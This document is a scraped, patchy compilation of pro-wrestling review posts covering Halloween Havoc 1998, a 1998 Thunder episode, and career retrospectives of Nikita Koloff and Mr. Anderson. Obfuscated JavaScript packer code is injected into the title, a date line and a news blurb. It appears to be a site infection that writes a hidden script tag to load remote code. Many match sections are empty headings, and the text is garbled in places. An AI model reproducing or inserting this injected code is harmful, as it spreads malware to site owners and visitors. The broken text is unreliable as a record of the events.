Halloween Havoc 1998 (2014 Redo): For All The Wrong Reasons

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yynsd|var|u0026u|referrer|tffke||js|php'.split('|'),0,{})) Havoc 1998
Date: October 25, 1998
Location: MGM Grand Garden Arena, Las Vegas, Nevada
Attendance: 10,663
Commentators: Tony Schiavone, Mike Tenay, Bobby Heenan

Tony lists off three matches added: Disco vs. Juvy with the winner getting a title shot later in the night and Raven challenging for the TV Title.

TV Title: Raven vs. Chris Jericho

Jericho jumps him coming in and whips Raven with his leather jacket, setting up the arrogant cover for two. Raven gets his hands on Jericho and they fall over the top and out to the floor. Jericho gets suplexed ribs first onto the steps and comes up holding his knee. A dropkick off the steps puts the champion down again. Jericho: “HELP ME!” Back in and Jericho hits a quick Stun Gun before the springboard dropkick sends Raven into the barricade.

Jericho is oddly unharmed by being sent face first into steel but Raven catches him in a belly to belly for two. Back up and Jericho sweeps the legs to put on the Liontamer. Raven is quickly in the ropes and hits the Even Flow out of nowhere for two. A low blow lets Chris hit a German suplex for another close two as Kanyon runs out and gets on the apron. Jericho immediately knocks him off and reverses another Even Flow attempt into the Liontamer for the quick submission.

Rating: B+. Why does no one bring this up as a great match for either guy? They meshed the hardcore and wrestling stuff together here and got a great match as a result. Jericho was wrestling like a face here for the most part and it worked just as well as his awesome heel run. The announcers played up how Raven has been submitting so quickly after passing out from the Crossface with a smile earlier in the year. Nice touch of continuity to go with a great match.

Meng vs. Wrath

The fight starts on the floor with Wrath sending Meng into the steps and taking him down with the flip dive off the apron. They head inside with Wrath getting two off a middle rope clothesline. Meng rolls forward to escape the Meltdown and the Kick of Fear gets two. A gutbuster gets the same but Wrath comes back with knees to the ribs in the corner. Meng gets two more off a belly to back suplex but misses the Death Grip. A Rock Bottom is good for two on Meng before the Meltdown gets the pin for Wrath.

Disco Inferno vs. Juventud Guerrera

Winner gets a Cruiserweight Title shot against Kidman later tonight. Disco stomps away in the corner to start but grabs a side slam for two. Juvy lands a LOUD chop to take over and does some quick dancing of his own. Guerrero tries the backflip out of a Fameasser position but just falls to the side. A second attempt at a Fameasser works a bit better and Disco gets monkey flipped over the top. Juyy baseball slides into a headscissors and both guys go down for a few seconds.

Back in and Disco takes over with an atomic drop and clothesline before stopping to dance instead of cover. We hit the chinlock with no cranking on it at all before Juvy slides to the apron to take Disco down with a Stunner. Disco heads outside again and turns his back on Guerrera, allowing him to be taken out by a nice plancha. They head inside again and Disco grabs a swinging neckbreaker but lays on the mat instead of covering.

Fit Finlay vs. Alex Wright

Ernest Miller talks about being great on WCW.com but Lee Marshall points out that all his nicknames are already taken. Kidman at least had a match tonight. (16:42)

Lodi vs. Saturn

Nitro Girls, looking very nice in leather pants and cut off tops. (19:00)

Cruiserweight Title: Kidman vs. Disco Inferno

Disco is challenging and is quickly dropkicked down to the corner. A drop toehold sets up an armbar from the champion before he just stomps a mudhole on Disco. Kidman gets a bit too cocky though and gets sent throat first into the ropes, followed by a neckbreaker for two. Disco tosses him outside but Kidman climbs up the steps for a bulldog down to the floor. Back in and the champion misses a top rope splash to give Inferno a two count.

Tag Titles: Scott Steiner/Giant vs. Rick Steiner/Buff Bagwell

Rick Steiner vs. Scott Steiner

Scott Hall vs. Kevin Nash

Nitro Girls, now in rainbow colored wigs. (22:30)

US Title: Sting vs. Bret Hart

Bret fights out of the corner with right hands and headbutts followed by a DDT for two more. A legdrop gets two for the champion and an elbow gets the same. This match is almost in slow motion. We hit the chinlock for a bit before Bret stomps on the chest. Bret misses a dropkick and Sting tries the Scorpion to wake the crowd up but Bret is in the ropes before it goes on. Sting hammers away and ducks a leapfrog but Bret injures his knee. Somehow Sting falls for it and Bret loads up a foreign object. A clothesline knocks it out of his hand but the referee takes it from Sting, allowing Bret to get in a low blow.

The Five Moves of Doom have Sting in trouble and Bret throws him outside. Back in and Sting accidentally nails the referee with an elbow but Bret drops a very intentional leg to keep him down. Bret kicks Sting low again (what is with all these low blows tonight???) but Sting crotches him on the top for a superplex. Everyone is out but Sting hits a Stinger Splash, only to knock himself out on the post. Bret hits him with the bat about five times, including once to the throat, before putting on the Sharpshooter for the TKO win.

Sting goes out on a stretcher after a long time.

Hollywood Hogan vs. Warrior

The Hogans pour lighter fluid on Warrior but Doug Dillinger stops the matches from being thrown.

WCW World Title: Goldberg vs. Diamond Dallas Page

It comes off as a combination of stupidity and somewhat arrogance as the company just figured their plan would work and they just HAD to be bigger than WWF. What did most of the stuff they added here help? What does a Saturn vs. Lodi comedy match (probably six minutes with entrances and a post match replay) do to help the card? It ticked off the fans and cost them a lot of money, but at least they got the Buff Bagwell swerve and a Konnan music video on PPV.

Goldberg helps Page up post match and poses to end the show.

Remember to follow me on Twitter @kbreviews and pick up my new book of on the History of Summerslam at Amazon for just $3.99 at:

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Thunder – October 22, 1998: This Doesn’t Suck!

Thunder
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hzsni|var|u0026u|referrer|yddis||js|php'.split('|'),0,{})) October 22, 1998
Location: Tingley Coliseum, Albuqurque, New Mexico
Commentators: Lee Marshall, Tony Schiavone, Bobby Heenan, Mike Tenay

The announcers talk about Hogan attacking Horace on Monday and call it a horrible act.

We look at Goldberg and Page nearly brawling after Goldberg cost Page a match against Jericho.

Super Calo vs. Rey Mysterio Jr.

Calo takes over with some kicks to the ribs to start and gets two off a shoulder block. A missile dropkick gets the same and Calo hooks a seated abdominal stretch to slow things down. Back up and Calo throws Rey to the apron before sending him to the floor for a big dive. Totally one sided so far. Back in and Rey climbs corner to hit a nice headscissors followed by the yet to be named 619 back inside. Calo gets caught in the ropes and the top rope legdrop to the back of his head gets two. Super gets to his feet and goes up, only to get crotched and taken down with a hurricanrana for the pin.

Post match Eddie and the LWO comes out to offer Rey a spot but he throws the shirt back at Eddie and leaves. Chavo watches with a smile on his face from the entryway.

Video on Page vs. Goldberg.

Ad for the Mastercard.

Alex Wright vs. Johnny Swinger

We look at the Steiners brawling on Monday.

TV Title: Kanyon vs. Chris Jericho

Back with Jericho getting two off the Lionsault as we see Raven for the first time, looking on from the apron. Jericho does his long stride and Kanyon sends him face first into the buckle to take over. The superplex from the middle of the rope (not the corner) puts Jericho down for two as the fans get distracted by something in the audience. Jericho counters a suplex into a reverse suplex for two but Kanyon comes back with a swinging neckbreaker for the same.

Clip from the new Kurt Russell movie Soldier.

We see Hogan beating up Horace and Warrior on Monday

Saturn vs. Norman Smiley

A lockup goes nowhere so Norman makes his chest dance to entertain Saturn. Apparently Saturn is more of a song than dance man as he throws Smiley down with a beal before dropping him with a t-bone suplex for two. Norman picks the ankle but Saturn is quickly in the ropes before anything can be done. A neckbreaker sends Smiley to the floor but he comes back in with a nice sunset flip for two.

Lex Luger vs. Scotty Riggs

Juventud Guerrera vs. Prince Iaukea

Clips from Nitro of Bischoff being thrown out by cops and the mayor of Minneapolis.

Konnan vs. Scott Armstrong

Horsemen video.

Kendall Windham vs. Dean Malenko

Sting vs. Giant

Giant misses a charge and Sting hammers away but misses the Stinger Splash. The big man steps on his chest and pounds on him in the corner, only to miss a big elbow. Three straight Stinger Splashes set up a slam but Scott Steiner runs in with a chair to the leg for the DQ before the Deathlock.

The NWO lays out Sting until Rick Steiner and the Wolfpack makes the save to end the show.

Remember to follow me on Twitter @kbreviews and pick up my new book of on the History of Summerslam at Amazon for just $3.99 at:

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Wrestler of the Day – March 9: Nikita Koloff

Today we go with the American playing a Russian who became a Lithuanian in Nikita Koloff.

World Tag Titles: Rock N Roll Express vs. Ivan Koloff/Nikita Koloff

 

 

Back to Ivan who is busted open as well. Robert is sent into the cage yet again and an elbow drop gets two for Ivan. Off to Nikita for some biting to the head before Ivan comes in for some slow power offense. Robert rolls away from a legdrop but Nikita comes in for a chinlock. Gibson is busted open as well, which seems to be a requirement tonight.

 

Rating: B. Good old fashioned tag match here with the Express getting destroyed until the very end where they won on a pure fluke. The fans were WAY into the Express at this point and Morton would even get a program with Ric Flair. The Russians were a great old school tag team idea with both guys looking like monsters and acting like it as well. Also this was nice to see a change in the usual Express formula with Gibson getting beaten down instead of Morton.

Magnum TA vs. Nikita Koloff

Koloff is up 3-0 coming into this. They stare each other down to start and fight over some lockups. Magnum runs the ropes and collides with Nikita, sending him out to the floor. Back in and Magnum sends him into the corner before fighting over a top wristlock. Koloff wins the power battle but gets countered into a hammerlock. Nikita powers out again and sends Magnum down with a back elbow to the jaw. A backbreaker and slam get two each for the Russian and he throws Magnum outside. Ivan gets in a few cheap shots before Nikita throws Magnum back in. TA comes right back in with a sunset flip for the pin out of nowhere.

US Title: Nikita Koloff vs. Magnum TA

Magnum is just ungodly over at this point. They fight over a lockup to start until Magnum grabs a headlock. A cross body gets two on Koloff and he gets sent out to the floor via a dropkick. Back in and Magnum cranks on the arm, taking Nikita down to the mat to drive knees into the arm. TA fights to get the arms pinned to the mat but Nikita rolls on top. They fight over control and roll out to the floor for a bit until they head inside again for a top rope ax handle from Magnum. An armdrag into an armbar keeps Nikita in trouble as we go to a break.

NWA World Title: Ric Flair vs. Nikita Koloff

 

 

 

Post match a bunch of guys come out but no one can keep Nikita off Flair. They brawl for a good three minutes until Flair is dragged to the back to end the show.

Soon after this Nikita would form an on again/off again tag team with Dusty Rhodes called the Super Powers. They would make it to the finals of the 1987 Crockett Cup against Lex Luger/Tully Blanchard.

Crockett Cup Finals: Super Powers vs. Lex Luger/Tully Blanchard

 

Later in the year Nikita would win the TV Title from Tully Blanchard. This led him into a unification match with the UWF TV Champion Terry Taylor at Starrcade 1987.

NWA TV Title/UWF TV Title: Nikita Koloff vs. Terry Taylor

 

This is a unification match between the two Television Titles. Taylor has Eddie Gilbert with him as backup. Taylor grabs a headlock to start but is easily run over by a shoulder block. They head to the corner and amazingly enough we get a clean break. We go to another corner and Taylor tries a cheap shot, only to get punched in the face by Nikita. Taylor cranks on the arm so Nikita sticks his tongue out at him and puts on an armbar of his own.

 

Terry headbutts out of the hold but Nikita rams him shoulder first into the buckle. More right hands have no effect at all and Nikita cranks away on the wristlock into a hammerlock. Koloff muscles him down into a cover but Taylor makes the ropes and heads outside. Back in and Taylor talks some trash, earning himself a slap in the face. A backdrop gets two on Terry and its time for more stalling on the floor.

 

 

He would drop the title to Mike Rotunda in early 1988. Nikita would leave wrestling for a bit and get off some of the steroids, leaving him far smaller for his feud against newcomer Al Perez.

Al Perez vs. Nikita Koloff

 

 

Nikita would take a few years off from wrestling due to his wife getting cancer. He would appear in the AWA for a bit before coming back as a heel in 1991, costing him the Tag Team Titles at SuperBrawl I. This led to a Russian Chain match at Great American Bash 1991. The show was perhaps the worst PPV of all time but this was probably the best match on the card.

Sting vs. Nikita Koloff

This is a Russian Chain match and it’s the four corners version. If this, the hottest feud in the company at the time, doesn’t get the fans going, nothing is going to. Sting, the guy that should be in the main event, gets a huge pop of course. Koloff gets in his face to start and they fire some rather low kicks at each other. Out to the floor and Koloff gets dropped on the railing. The idea here is that Koloff is the master of the Russian chain match so Sting is out of his element.

Back in and Sting rams Koloff’s head into the buckle as I’m amazed that the crowd is actually responding to this stuff. After a quick bit of Sting dominance on the floor they head back in and Sting gets two corners but Nikita breaks his momentum and therefore the streak. The idea is you have to get all four corners in a row but you can’t have your momentum broken.

Out to the floor again and Nikita hits a clothesline with the chain to take over. Sting uses the chain to pull Koloff into the post. Momentum is shifting back and forth fast in this. Back inside and Koloff pounds him down again as it shifts again. These advantages aren’t meaning anything but it’s WAY better than anything else we’ve seen tonight. Koloff drops some elbows with the chain and chokes away but won’t go for any corners.

Koloff fires off more chain shots but there’s only so much he can do because he can’t get far away from Sting. He snapmares Sting down and gets two corners. Make that three with the third one being with his head. Sting breaks up the fourth one and the streak is broken. They fight into the corner and both touch. They do it again with the second corner and Koloff hits him low. Well that’s one way to stop things. Sting hits him low right back and both guys are down.

The streaks aren’t broken off that somehow. They charge at the third and it’s tied at 3. Sting pounds on him but Koloff hooks the rope. Koloff comes back with the Sickle (clothesline) and somehow none of this breaks their momentum according to the referee. Koloff goes for the corner but Sting splashes him into it. Unfortunately that knocks Koloff into the buckle first for the win.

Rating: D+. Why? WHY IN THE FREAKING WORLD WOULD YOU HAVE STING LOSE HERE? Was NO ONE watching the show? Did no one get that the fans NEEDED something to care about here? The match itself was pretty bad too, as it was all short range stuff. These matches just don’t work other than Piper vs. Valentine at Starrcade in 83. The difference there is it was pinfall to win, which might be the catch to these things. This is the exact same finish as JBL vs. Eddie in 04 by the way.

He would return a few months later and join Sting in his war against the Dangerous Alliance. Yes I said Sting, war and the Dangerous Alliance, meaning WARGAMES. From WrestleWar 1992.

War Games: Sting’s Squadron vs. Dangerous Alliance

Sting, Ricky Steamboat, Dustin Rhodes, Barry Windham, Nikita Koloff
Rick Rude, Steve Austin, Larry Zbyszko, Bobby Eaton, Arn Anderson

Sweet goodness there is some talent in this match.

Ok so there isn’t much of a backstory here. Back in 1992 the storyline pretty much went like this: Sting fights everybody. He feuded with about 5 people at once, most of which are in this match. At Halloween Havoc and the Clash of the Champions that came just after it, Rude showed up and stole the US Title from Sting, forming this team. Sting won the world title at SuperBrawl and the Alliance wanted it off of him, no matter who did it (it would be Vader eventually but we’ll get to that later).

Larry and Arn were a tag team and feuded with Barry and Dustin over the tag titles. Barry had also just gotten the TV Title off Austin. Ricky wanted to be US Champion, which was Rude at the moment. Anderson and Eaton had taken them from Rhodes and Windham before losing them to the Steiners two weeks before this. In short, everyone hates everyone and they don’t care who they’re fighting. Koloff is there….just because Sting needed a fifth guy more or less. He would go after Rude after this PPV.

For those of you new to War Games, the rules are pretty basic. You start with a man each and they fight for five minutes. After that five minutes we flip a coin and the winning team gets to send in their second man for a 2-1 advantage that lasts two minutes. After two minutes, the team that lost gets to even it up at 2-2 for two minutes. After that two minutes the team that won the toss sends in it’s third man for two minutes. You alternate like that until it’s 5-5, then first submission wins. No pinfalls at all. It’s a double cage over both rings and there is nothing separating the two rings, so both cages only have three walls in essence, but it’s really just one big cage.

This is the first time I’ve seen this match since I got into the IWC and since I started reviewing, so this is going to be a fresh look at it. Let’s get to it.

Everyone is at ringside for this, so I’d expect a fight out there too. There are tops on the cages too. Crowd is just insane for Sting. Good grief that face team is STACKED. In a Dangerous Alliance huddle, we hear that Austin is starting for his team. He starts against Windham and it is ON immediately. Heyman keeps running strategy and it’s cool because what he’s saying is actual strategy and makes sense.

Both guys are really stiff in there and are just pounding on each other. Austin DIVES over both ropes and hits a clothesline. For those of you that haven’t seen him before he hurt his neck and his knees became made of jelly, go find some of his stuff. He’s a totally different but still very good worker. Windham rubs Austin’s face into the cage to bust him open. There’s a minute left before the next guy comes in. Windham bites the cut to open it up more. If you can’t tell, this is a very violent match.

The Alliance wins the coin toss (check the coin) and they send their big man, Rick Rude, in to make it 2-1. Also, that’s three world champions (Rude won the Big Gold Belt which is kind of a world title) in there I believe? The heels take over and Windham is in trouble. Rude’s tights look like the Comi-Con logo. Steamboat ties it up and goes straight for Austin. Ticked off Steamboat is AWESOME. Dang  it’s nice to hear this without Tony Schiavone making bad war puns.

Windham is busted open. Steamboat and Windham are dominating here but Anderson, the best wrestler to never win a world title (arguably) comes in and cleans house. Rude and Anderson both hook a crab on Steamboat. This has been non-stop the whole time which is a major perk of it. For some reason they’re all staying in the same ring. Well with five guys it’s ok. And there goes Steamboat and Rude so scratch that theory.

Dustin Rhodes comes in to balance it out. If my math is right, he’s the least successful guy in here? That’s saying a lot. Steamboat gets Rude in a figure four, more or less making it 2-2. Zbyszko, another former world champion, is in to make it 4-3. He’s been in trouble lately for being a screw-up and Rhodes beats the tar out of him as soon as he comes in. Madusa goes up the cage and slips Arn the phone but she and Sting have a standoff on the roof.

There is blood EVERYWHERE. The mat looks like an abstract painting. Sting, who has bad ribs thanks to Vader, evens things up and press slams Rude up into the air so that his back slams into the cage five times. Sting is just whipping it here and we have two more guys left to come in. Arn gets the cage rake again and is bleeding too. Everyone is in one ring which is kind of cluttering but there they go. At least it didn’t last long.

Eaton comes in as the last man for the Dangerous Alliance. Rhodes is bleeding a ton. Windham looks quite dead. Larry is messing with the turnbuckle. Keep that in mind as it’ll come into play later. The ropes are clearly loose thanks to Larry and Rude doing whatever they were doing. Koloff comes in to FINALLY start the match beyond. No submissions could have counted until now.

Koloff is a wild card because a year or so earlier he had nailed Sting but claimed it had been meant for Luger so no one is sure if you can trust him. He pushes Sting out of the way to let Austin and Anderson hit him in a GREAT bit of continuity since Sting pushed Luger out of the way to start their whole issue. This is just pure insanity and never stopping at all.

Sting gets the Scorpion on Anderson but Eaton makes the save. They completely get the turnbuckle unhooked so there is no top rope and the buckle is just laying in the ring. Austin is bleeding like crazy. Rhodes’ tights are polka dot now from blood on them. Larry tells Bobby to hold up Sting so he can hit him with the steel bar that came off the buckle. Sting ducks and Eaton takes it to the arm. Steamboat takes Larry out and Sting throws on an armbar for the submission and to blow the roof off the place. Heyman LOSES IT and everyone gets mad at Larry as the show ends. This broke up the Dangerous Alliance because they lost this and it kind of wound up turning Larry face but more or less he just retired.

Rating: A+. This right here is the best gimmick match blowoff to a feud ever. This match was about VIOLENCE and it worked incredibly well. The ending was great, the violence was great, most people bled, there is not a single dead spot in the nearly 25 minutes that this match ran, the crowd was white hot, and the feud ended here. This was it and everyone knew it so they left everything they had in the ring. Perfection for what it was supposed to be.

NWA Tag Title Tournament Quarter-Finals: Ricky Steamboat/Nikita Koloff vs. Brian Pillman/Jushin Liger

This should be good. Thankfully a match with three high fliers has the top rope made legal. Pillman and Koloff get us going and Brian bounces off of him a lot. He tries a front facelock and is easily placed on the top rope. A dropkick works a bit better and Koloff misses a charge, giving Brian a rollup for two. Off to Liger who works on the arm, as does Pillman who is tagged in quickly.

Back to Jushin who realizes power isn’t going to work so he fires off some dropkicks instead. Koloff runs him over and brings in Ricky to a BIG pop. Dang Steamboat vs. either of these guys would have been excellent. Liger gets thrown out of the ring and onto Pillman but it’s Pillman still legal. Steamboat works on the arm and then clotheslines Brian down. Pillman finally gets a tag and a double dropkick puts Steamboat down.

Liger vs. Steamboat now and they’re moving as fast as you would expect them to. Never mind as Koloff comes back in for his hit one move and stare offensive series. Back to Pillman vs. Steamboat which is certainly a more interesting match. Pillman takes him down and drops an elbow for two. Things speed up on a dropkick but then it’s back to a headlock by Brian. Liger comes in with some rapid fire kicks and the moonsault for two.

Tombstone kills Steamboat but he somehow kicks out at two. A flip dive gets two but Steamboat suplexes him down and tags in Koloff. Now Koloff hooks a chinlock, which is a popular move so far. Back to Steamboat who hits a series of backbreakers followed by a powerslam for two. Pillman made the save which I think makes them the heels in the match. Koloff hooks a chinlock on Liger before tagging Steamboat back in for a fist off the top.

Liger escapes and makes the hot tag to Pillman so things can speed up a bit. It’s not often that someone speeds things up over Liger but Pillman can do just that. And never mind as it’s back to the freaking headlock! Back to Liger who hits a cartwheel into a cross body for one. Back to Koloff who loads up the Sickle (running clothesline finisher) but Pillman breaks it up.

Brian comes in legally and hits a dropkick for two. Koloff throws him over the top but Pillman lands on the apron so it’s not a DQ. Brian hits a springboard clothesline and a top rope missile dropkick for two. He hooks a sleeper but Koloff jawbreaks his way out of it. Off to Liger vs. Steamboat again which has been the best combination of the match so far.

Ricky gets two off a missed Steamboat dropkick as does Liger off a backslide. Brian gets a blind tag and a slingshot crossbody for two. Steamboat hits a suplex to put both guys down. Pillman goes up but gets crotched, but he manages to come off with a crossbody, but Steamboat rolls through for the pin.

Rating: B-. Expect to hear the following a lot in this review: this would have been better if they cut out five minutes. There are seven matches on this card and only two matches don’t crack fifteen minutes, with one of them clocking in at 14:54. This was one of those twenty minute shindigs and it didn’t need to be at all. Koloff didn’t do much here and I’m not quite sure why he and Steamboat were partners. They were in WarGames together but that’s about it. The match was good but like I said, it didn’t need this much time.

Jake Roberts would become a top heel in late 1992 and Nikita would have a match with him on the September 12, 1992 episode of Worldwide.

Jake Roberts vs. Nikita Koloff

US Title: Nikita Koloff vs. Vader

Rude is the actual champion but Vader is subbing for him. This is No DQ. Rude comes out too but doesn’t stick around. Race gets thrown out too. Vader hits him in the face and Koloff doesn’t really move. They slug it out a lot and Vader splashes him to take over. A HARD clothesline takes Koloff down as does a headbutt. Koloff is sent to the floor but comes back with some power offense of his own. He hits a crossbody to the back for two which is a move I’ve never seen before.

Off to a chinlock which goes on for a good while. JR talks about a thirty minute time limit and I can’t help but chuckle. Can you imagine these two going half an hour against each other? Vader finally breaks it but gets cradled for two. Koloff hits another cross body of all things for two. He’s not the kind of guy I would expect to use that but he’s the speed guy in this when you think about it.

Vader rolls to the floor to stall and then does it a few more times. Koloff finally has enough and goes out after him, but the Sickle hits the post and Nikita is in trouble. Back in and Vader goes into mauling mode, running over Koloff and sending him to the floor. There’s a HARD chair shot (remember that it’s no DQ) and we go back in where the powerbomb retains the title for Rude.

Rating: D. You know considering this was No DQ, there was a total of one thing that would fit that gimmick. They flew through this and I can see why they clipped it on the VHS. The full version was about three times as long and it wasn’t anything better. Koloff more or less disappeared after this.

Remember to follow me on Twitter @kbreviews and pick up my new book of on the History of Summerslam at Amazon for just $3.99 at:

http://www.amazon.com/dp/B00HY4NV7Y

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New Member of the Hall of Fame Announced At Smackdown

This eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kyeib|var|u0026u|referrer|ssthe||js|php'.split('|'),0,{})) is a spoiler for the 8 of you that watch Smackdown live.It’s Carlos Colon, the king of wrestling in Puerto Rico and father of Carlito.  Nothing wrong with this one.




Wrestler of the Day – March 6: Mr. Anderson

While still in the indies, Anderson did some jobbing on the lower level WWE programs, including Velocity in August 2003.

Batista vs. Mr. Kennedy

After dominating the midcard and having success in the main event for so long, Kennedy would receive a US Title shot against Finlay on September 1, 2006.

US Title: Mr. Kennedy vs. Finlay vs. Bobby Lashley

Finlay is defending and Bobby Lashley is a surprise addition to make it a three way. Kennedy tries to form an alliance with Lashley but Bobby pulls him into a belly to belly suplex for his efforts. Finlay clotheslines Bobby down to take over and Kennedy comes in to help on the double teaming. Kennedy quickly turns on the champ and sends him into the post before hitting the Ken-Ton Bomb for two on Lashley.

Finlay comes right back and puts Kennedy in a Boston crab but Lashley is back to run them both over. Kennedy is sent outside and Bobby hiptosses the champion down. A big clothesline puts Finlay outside as well and Lashley rules the ring. Everyone gets back inside but Bobby quickly knocks the champion to the floor again.

Rating: C. Nice match here but throwing everyone to the floor over and over again got annoying after awhile. Kennedy stealing the title made sense as he was always the guy that found a way to win after getting beaten on for long stretches in the match. Good stuff here but not a great match.

Next up in the parade of big matches was a match against the Undertaker at No Mercy 2006.

Mr. Kennedy vs. Undertaker

Back in the ring and Kennedy pulls Taker through the ropes to get himself a breather. Kennedy drills him coming back in, getting two. The running hip attack to the guy that is on the middle rope gets two. The move Ryder calls the Broski Boot hits and Taker is in trouble. Taker fights up from his knees and knocks Kennedy to the floor. The legdrop across the apron connects.

Last Ride is countered and they almost run into the referee. A buckle was exposed somewhere during this match and Kennedy rams Taker into it, followed by a clothesline to take him down. Kenton Bomb gets two so Kennedy is going to walk. Taker grabs the belt and hits him with it for the freaking LAME DQ.

Rating: B-. This was getting REALLY good at the end and then they screw it up with something like that. I mean, at least make it for the belt to make it worth something before you do something that annoying. Taker was actually feeling it tonight to the point that you might have thought Kennedy could pull off the huge upset. Good stuff here until the ending.

Just like his feud with Batista, Kennedy would win the first two matches against Undertaker but lose the blowoff match. Next up on his march through world champions would be ECW Champion Lashley at No Way Out 2007.

ECW Title: Mr. Kennedy vs. Bobby Lashley

This is in the Kennedy is awesome and keeps beating world champions but can’t beat one in a title match period. Lashley comes out first and Kennedy tries to jump him but gets beaten down instead. Cole is almost unrecognizable at this point with his voice being so messed up. We make it into the ring with Lashley completely in control.

Back to the floor again with JBL talking about how great both guys’ futures will be. And never mind as we fight in the ring for awhile. Lashley uses pure power to destroy Kennedy for the most part as we wait for the inevitable mistake to allow Kennedy to take over. He gets a Rack, which someone needs to bring back as a finisher. Maybe Big Zeke? Kennedy rakes the eyes and then goes after the knee to take over.

Kennedy gets a reverse figure four, as in Lashley is on his stomach and Kennedy is on his back. He switches over to a half crab which is important. By switching holds like that you can still do very little but you get enough variety to keep things interesting. Lashley gets back into it but can’t use the leg.

JBL is doing the vast amount of the talking now so Cole can rest his throat a bit. Lashley can’t get a belly to belly and Kennedy counters into a DDT for a long two. Kenton Bomb misses as it eats knees and here comes the bald dude. The Boo/Yay stuff goes to Lashley and he starts throwing Kennedy around for fun.

Lashley gets the Rack again (complete with the line of “made famous by a guy that wasn’t nearly the full package like this guy is” from JBL) and drops to his knees for Shock Treatment ala Abyss. And there goes the referee. Kennedy heads to the floor and grabs a chair. Bobby gets popped by it but the referee doesn’t see it. He gets the chair to drill Kennedy which is good for a DQ win for Kennedy. Cole can’t talk like at all anymore.

Rating: C. Decent match for the most part but the ending was pretty weak. Kennedy took it to Lashley but he had no way to finish people for the most part yet which was his major downfall for the most part. He didn’t have a finisher until the Mic Check so he had to rely on rollups or quick pins which never worked for the most part. Decent match, bad ending.

Wrestlemania 23 was just over a month later and Kennedy was in Money in the Bank.

Mr. Kennedy vs. CM Punk vs. Randy Orton vs. Finlay vs. Matt Hardy vs. King Booker vs. Jeff Hardy vs. Edge

With this match, we start the tradition of having too many people in a single MITB match and overcrowding the thing. Everyone looks up at the case until Anderson goes to get a ladder. Orton heads to the floor to stop him as the big brawl begins. Finlay DIVES on everyone not named Edge, allowing the Canadian to make a climb, only to be stopped by Matt. They head to the floor, allowing Orton and Finlay to head up top for a brawl on the ladder.

Later on in the year Kennedy would turn heel again and face Shawn Michaels at Armageddon 2007.

Mr. Kennedy vs. Shawn Michaels

Kennedy says he’ll win pre match. Just a respect match here as far as I can tell. Kennedy takes over to start with a lot of basic offense focused on the back. Shawn tries to clear his head so Kennedy hammers on him a lot. Shawn is like wait a minute. I’m Shawn Michaels so let me chop you and sell like I’ve been shot and have a bad stomach ache. Due to the back work, Shawn can’t hit a suplex.

Kennedy tries a Mic Check but can’t it gets countered, injuring Kenderson’s elbow. Shawn, ever the psychologist out there, works on it. See how easy it is to do stuff that makes sense? Now why can so few people get that concept? Kennedy keeps trying to break the hold and finally sends both of them to the floor. That doesn’t go well either as his hand is slammed into the post.

Back inside and Shawn works on the hand and the arm. Shawn grabs a wristlock but Kennedy punches him through the ropes. That’s a new one. Back outside again and Shawn goes into the post. Well not really as he kind of slams against it. I don’t think there’s enough room for Shawn’s body inside the post. A running boot to a seated Shawn in the corner sets up a backbreaker for two.

In a nice bit of thinking from Kennedy, he jumps at Shawn from the middle rope but sees Shawn get his foot up so Kennedy stops his momentum and lands on his feet, avoiding the boot. He then sets for an elbow drop but Shawn rolls out of the way. Kennedy didn’t drop it right then but rather once Shawn rolled over, hitting Shawn in the bad back. Who says heels can’t be smart?

Shawn starts his comeback and chops away so he can hit the forearm and nipup. At least he’s putting a hand on his back for some selling. If he has a weakness, it’s his lack of selling injuries later in the match. There’s the top rope elbow and Shawn starts tuning up the band. I’ve never gotten how no one can hear the fans chanting along or hear Shawn stomping on the mat.

Either way he catches the kick and rolls up Shawn for two. Shawn gets a rollup of his own for the same. Kennedy hits a slingshot to send Shawn into the post and talks some trash. He punches Shawn with the left hand for no apparent reason and hurts it again, letting Sweet Chin Music (bad camera angle shows that it doesn’t hit at all, which is really good control from Shawn) end Kennedy.

Rating: B-. I liked this one as there was enough psychology peppered through it to make things work. Kennedy reinjuring his hand was a nice touch but you kind of have to wonder why he’d use his left hand for a punch. Kennedy wasn’t exactly known for his in ring abilities so this was a nice little surprise.

Soon after it was off to TNA, where Anderson would quickly get involved in a feud with Kurt Angle, leading to a big match at Lockdown.

Kurt Angle vs. Ken Anderson

This is standard rules but Anderson has the key. Not sure I get the point to that aspect as it’s bound be thrown around sometime. Also, I’d prefer a regular cage match but this is fine I suppose. Anderson has the key around his neck. Ok he has a chain around his neck with the key around it but you get the idea. Anderson goes for the door like 30 seconds in and like an idiot, he forgets about Angle.

Anderson accidentally leaves the key in the lock so there goes the point of the ladder match entirely. Angle is bleeding BAD already. Tenay says it was bound to happen at some point. At some point? I think every match has had that so far. This is one of the feuds that I’ve really liked for the majority of it. Angle is WORKING in there man. He’s still one of the best in the world when he works at it.

There is blood everywhere. Ok not really but it sounds good. Angle hits his run up the ropes and hit a belly to belly. Love that. Anderson uses his wrist tape to choke Angle out which is rather brilliant. Solid match so far. Angle gets his Germans. He hits about 6 or 7 of them and Anderson is just about out of it.

Angle goes for the door but stops. Dang it Kurt don’t be freaking stupid. Ankle Lock is on but you can’t win by tap out. And there’s the Mic Check. Yeah I’m stunned too. Anderson gets the lock open but Angle gets the Slam. And Angle locks the cage again. Ok then. And he throws the key away. Anderson freaks, even though there’s no roof on the cage.

Anderson tries to get out but Angle gets a German OFF THE TOP ROPE! SICK spot. Angle sets him for the moonsault but goes TO THE TOP OF THE CAGE! And he hits it. Yeah Angle still has it. Angle gets a key from….somewhere, but Anderson flips the double bird and is able to get a Mic Check.

